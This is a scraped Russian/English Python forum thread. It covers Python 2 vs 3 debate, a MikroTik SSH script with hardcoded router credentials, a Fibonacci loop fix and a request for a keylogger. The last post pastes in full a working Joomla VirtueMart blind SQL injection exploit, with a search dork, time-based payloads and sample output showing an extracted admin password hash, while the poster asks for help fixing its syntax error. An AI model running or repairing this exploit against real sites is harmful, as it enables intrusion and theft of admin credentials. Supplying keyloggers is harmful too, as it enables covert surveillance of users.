Ins3t для продакшена - да, лучше 2.7. Но поглядывать в сторону 3.x уже пора, тот же джанго начал активно развивать совместимость с новой веткой и понемногу дропать поддержку старых версий питона.
Рано поглядывать. Третья ветка пока еще не настолько популярна, чтобы организовать нормально работу на ней. Tarek Ziade недавно рассказывал что очень вероятно, что что-то может сильно поменяться. И тогда будет сложно вести поддержку своих продуктов. Поэтому и Django все еще развивает вторую ветку, а третьей только балуется.
Можно ли как-то подружить urllib с socks проксями в 3 ветке? Есть подозрения, что прийдется наследовать какой-то класс, но какой? И какие методы менять. Нугуглить почему-то не удалось. Заранее благодарен. п.с. нужен вариант как с установкой http прокси, глобальный сокс на сокеты не пойдет.
Здравствуйте я python не знаю, как мог глянул вроде все ok(покрайней мере синтаксис), прошу помощи у людей которые знают python, данный скрипт должен подключаться по ssh к роутеру(микротик) и отключать пользователей по дате, я создал у себя на хостинге базу, запускаю там же скрипт но он ругается(IndentationError: expected an indented block) на "login_user = x[0]" вот эту строку(23) если ее комментирую то на нижнюю(синтаксис вроде верный), очень буду благодарен тому кто заставит его работать!! PHP: #!/usr/bin/python # -*- coding: utf_8 -*- import MySQLdb import mysql_db import datetime from paramiko import SSHClient from paramiko import AutoAddPolicy now_date = datetime.date.today() cur_year = now_date.year cur_month = now_date.month cur_day = now_date.day user_day = cur_day user_month = cur_month db = MySQLdb.connect(host="some", user="some", passwd="some", db="some", charset='utf8') cur = mysql_db.db.cursor() sql = ("""SELECT login_user, ip_user, balance FROM users WHERE day = %s AND month = %s""") % (user_day, user_month) cur.execute(sql) action = cur.fetchall() cur.close() for x in action: login_user = x[0] ip_user = x[1] balance = x[2] if balance <= 0: mip = '192.168.4.253' ml = 'user1' mp = '1q2w3e' exe = "/ip fi a disable [find address=%s]" % (ip_user) print exe ssh = SSHClient() ssh.set_missing_host_key_policy(AutoAddPolicy()) ssh.connect(mip, port=22, username=ml, password=mp) cmd = "%s" % (exe) ssh.exec_command(cmd) ssh.close() else: print "Не отключать" cur = mysql_db.db.cursor() sql = ("""SELECT login_user, ip_user, balance FROM users WHERE day = %s AND month = %s""") % (user_day, user_month) cur.execute(sql) action = cur.fetchall() cur.close() for x in action: login_user = x[0] ip_user = x[1] balance = x[2] if balance <= 0: mip = '192.168.4.253'; ml = 'user1' mp = '1q2w3e' exe = "/ip fi a disable [find address=%s]" % (ip_user) print exe ssh = SSHClient() ssh.set_missing_host_key_policy(AutoAddPolicy()) ssh.connect(mip, port=22, username=ml, password=mp) cmd = "%s" % (exe) ssh.exec_command(cmd) ssh.close()
Говорит о том, что цикл for не закрыт. Python очень любит отступы. Возможно код должен был выглядеть так: PHP: #!/usr/bin/python # -*- coding: utf_8 -*- import MySQLdb import datetime from paramiko import SSHClient from paramiko import AutoAddPolicy now_date = datetime.date.today() cur_year = now_date.year cur_month = now_date.month cur_day = now_date.day user_day = cur_day user_month = cur_month db = MySQLdb.connect(host="some", user="some", passwd="some", db="some", charset='utf8') cur = db.cursor() sql = ("""SELECT login_user, ip_user, balance FROM users WHERE day = %s AND month = %s""") % (user_day, user_month) cur.execute(sql) action = cur.fetchall() cur.close() for x in action: login_user = x[0] ip_user = x[1] balance = x[2] if balance <= 0: mip = '192.168.4.253' ml = 'user1' mp = '1q2w3e' exe = "/ip fi a disable [find address=%s]" % (ip_user) print exe ssh = SSHClient() ssh.set_missing_host_key_policy(AutoAddPolicy()) ssh.connect(mip, port=22, username=ml, password=mp) cmd = "%s" % (exe) ssh.exec_command(cmd) ssh.close() else: print "Не отключать" cur = db.cursor() sql = ("""SELECT * FROM users""") cur.execute(sql) action = cur.fetchall() cur.close() И зачем использовать 2 модуля для подключения к БД, там и 1-го хватит
сейчас уже django также грызет и python 3 для продакш еще все-таки рано лично меня бесят преобразования между типами строк в версиях <3
Хотелось бы, что бы при запуске скрипта выводилось каждое третье число. Но интерпретатор выводит 0 1 3 и всё, цикл похоже заканчивается. Что здесь не так? Code: fib1 = 0 fib2 = 1 print (fib1) print (fib2) n = 15 i = 0 while i < n: fib_sum = fib1 + fib2 fib1 = fib2 fib2 = fib_sum i = i + 1 g = 0 g = g + 3 if i == g: print (fib_sum)
mehanicus цикл выполняется все 15 раз, однако в данном случае - переменная g всегда равна трем, что не соответствует условию задачи. Откройте для себя операцию нахождения остатка от деления. Крайне поможет в данном случае и вообще
Я наблюдал 3 учебники кейлоггер Python, не в состоянии заставить его работать! Есть ли кто-то здесь, кто получил простой кейлоггер, который легко использовать для меня? спасибо!
Okay I will do that.. So, is there a simple keylogger in Python? I've watched 3 tutorials and non of them are working. If there is, please let me know or link the code Thanks!
ttp://stackoverflow.com/questions/3553209/help-with-my-keylogger ttp://antihackingtutorials.blogspot.com/2012/06/in-this-tutorial-we-will-show-you-how.html
Всем привет, кто подскажет что за проблема не могу запустить тот скрипт выдаёт ошибку line 83 SyntaxError: invalid syntax PHP: #!/usr/bin/python # # Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit. # Found by: TecR0c & mr_me # Discovery date: 11/2/2011 # Code by: mr_me # Vendor: http://virtuemart.net/ # Download: http://virtuemart.net/downloads # Dork: inurl:"?option=com_virtuemart" > 46 million results # Patch: http://dev.virtuemart.net/attachments/202/Patch-VirtueMart-1.1.7a.zip # References: # - http://www.stratsec.net/Research/Advisories/VirtueMart-SQL-Injection-(SS-2011-003) # - http://virtuemart.net/security-bulletins/396-vm-security-bulletin-2011-02-18 # # "The more you educate yourself the more you understand where things come from the more obvious things become # and you begin to see lies everywhere. You have to know the truth and seek the truth and the truth will set you free." # - zeitgeist addendum # # Description: # ============ # With its fully-featured eCommerce engine, VirtueMart is perfect to sell your Goods online # and drive your Business to new Heights. Despite being Open Source Software it powers large # Online Shops providing the Performance, Usability and Security you expect from professional Software. # # Explantation: # ============= # There is a Blind SQL Injection vulnerability in the "page" variable of the virtuemart component. # Because of the fact that Joomla core filters '<' or '>' characters, we can only use '=' to test for true/false # statements. This of course will send an enormous number of queries the target. During testing, 9145 # queries were sent to fully steal the admin user/hash. This PoC was tested on the latest version # of virtuemart (1.1.7) at the time of discovery. Depending on your purpose, you may have to adjust the # timings of benchmark and time to last byte (ttlb). # # Tested on Joomla v1.5.22 with virtuemart: # ========== # - v1.1.7 # - v1.1.6 # - v1.1.4 # # [mr_me@pluto com_virtuemart]$ python virtuemart.py -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/ # # | ------------------------------------------------------------------- | # | Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit | # | by mr_me - net-ninja.net ------------------------------------------ | # # (+) PoC started on Sat Feb 12 17:26:15 2011 # (+) Exploiting target @: http://192.168.1.7/webapps/joomla/ # (+) Testing proxy @ localhost:8080.. proxy is found to be working! # (+) Using time based SQL Injection. # (+) This will take time, go grab a coffee.. # # (!) Getting database version: 5.1.41-3ubuntu12.9 # (!) Getting database user: root@localhost # (!) Getting database name: joomla # (!) Getting Joomla admin: admin:eb970f9dfca9d7353083ab37cf097e21:pL356HEW2hfl88NWuFpgjLDfy2gKwIHR # (+) PoC finished on Sat Feb 12 18:38:05 2011 # import sys, urllib, urllib2, re, time from optparse import OptionParser # just printable ascii please lower_value = 32 upper_value = 126 vuluri = "index.php?option=com_virtuemart&page%3d-1" basicInfo = {'version':'@@version', 'user':'user()', 'name':'database()'} usage = "./%prog [<options>] -t [target] -d [directory]" usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP Proxy <server:port>") parser.add_option("-t", type="string", action="store", dest="target", help="The Target server <server:port>") parser.add_option("-d", type="string", action="store", dest="directory", help="Directory path to the CMS") (options, args) = parser.parse_args() def banner(): print "\n\t| ------------------------------------------------------------------- |" print "\t| Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |" print "\t| by mr_me - net-ninja.net ------------------------------------------ |\n" if len(sys.argv) < 4: banner() parser.print_help() sys.exit(1) def timer(): now = time.localtime(time.time()) return time.asctime(now) def testProxy(): check = 1 sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy)) sys.stdout.flush() try: req = urllib2.Request("http://www.google.com/") req.set_proxy(options.proxy,"http") check = urllib2.urlopen(req) except: check = 0 pass if check != 0: sys.stdout.write("proxy is found to be working!\n") sys.stdout.flush() else: print "proxy failed, exiting.." sys.exit(1) def getServerResponse(exploit): try: uri = "http://"+options.target+options.directory+exploit request = urllib2.Request(uri) if options.proxy: request.set_proxy(options.proxy, "http") start = time.time() resp = urllib2.urlopen(request) check = resp.read() ttlb = time.time() - start except urllib.error.HTTPError, error: check = error.read() except socket.error: print "(-) Proxy connection failed" sys.exit(1) return check, ttlb def getBasicDbInfo(basicInfo, key, limit): for i in range(1,limit): for j in range(lower_value,upper_value): request = (vuluri + "'+UnIOn+seLEcT+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page" % (basicInfo[key],str(i),str(j))) try: resp, ttlb = getServerResponse(request) except: print "\n(-) Exiting.." sys.exit(1) if ttlb >= 3.5: sys.stdout.write("%s" % (chr(j))) sys.stdout.flush() break def getJosUser(selectStmt, limit): for i in range(1,limit): for j in range(lower_value,upper_value): request = (vuluri + "'+uNIoN+SeLeCt+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page" % (selectStmt,str(i),str(j))) resp, ttlb = getServerResponse(request) if ttlb >= 3.5: sys.stdout.write("%s" % (chr(j))) sys.stdout.flush() break def doBlindSqlInjection(): print "(+) Using time based SQL Injection." print "(+) This will take time, go grab a coffee.." for key in basicInfo: sys.stdout.write("\n(!) Getting database %s: " % (key)) sys.stdout.flush() for i in range(1,50): request = (vuluri + "'+unIoN+sEleCt+if(length(%s)=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page" % (basicInfo[key],str(i))) try: resp, ttlb = getServerResponse(request) except: print "\n(-) Exiting.." sys.exit(1) if ttlb >= 3.5: break getBasicDbInfo(basicInfo, key, i+1) sys.stdout.write("\n(!) Getting Joomla admin: ") sys.stdout.flush() for i in range(1,100): lengthOfAdminString = "(select+length(concat(username,0x3a,password))+from+jos_users+limit+1)" request = (vuluri + "'+union+select+if(%s=%s,BENCHMARK(5000000,MD5('x')),NULL)--+junk.page" % (lengthOfAdminString,str(i))) try: resp, ttlb = getServerResponse(request) except: print "\n(-) Exiting.." sys.exit(1) if ttlb >= 3.5: break getJosStmt = "(select+concat(username,0x3a,password)+from+jos_users+limit+0,1)" getJosUser(getJosStmt, i+1) if __name__ == "__main__": banner() print "(+) PoC started on %s" % (timer()) print "(+) Exploiting target @: http://%s" % (options.target+options.directory) if options.proxy: testProxy() doBlindSqlInjection() print "\n(+) PoC finished on %s" % (timer())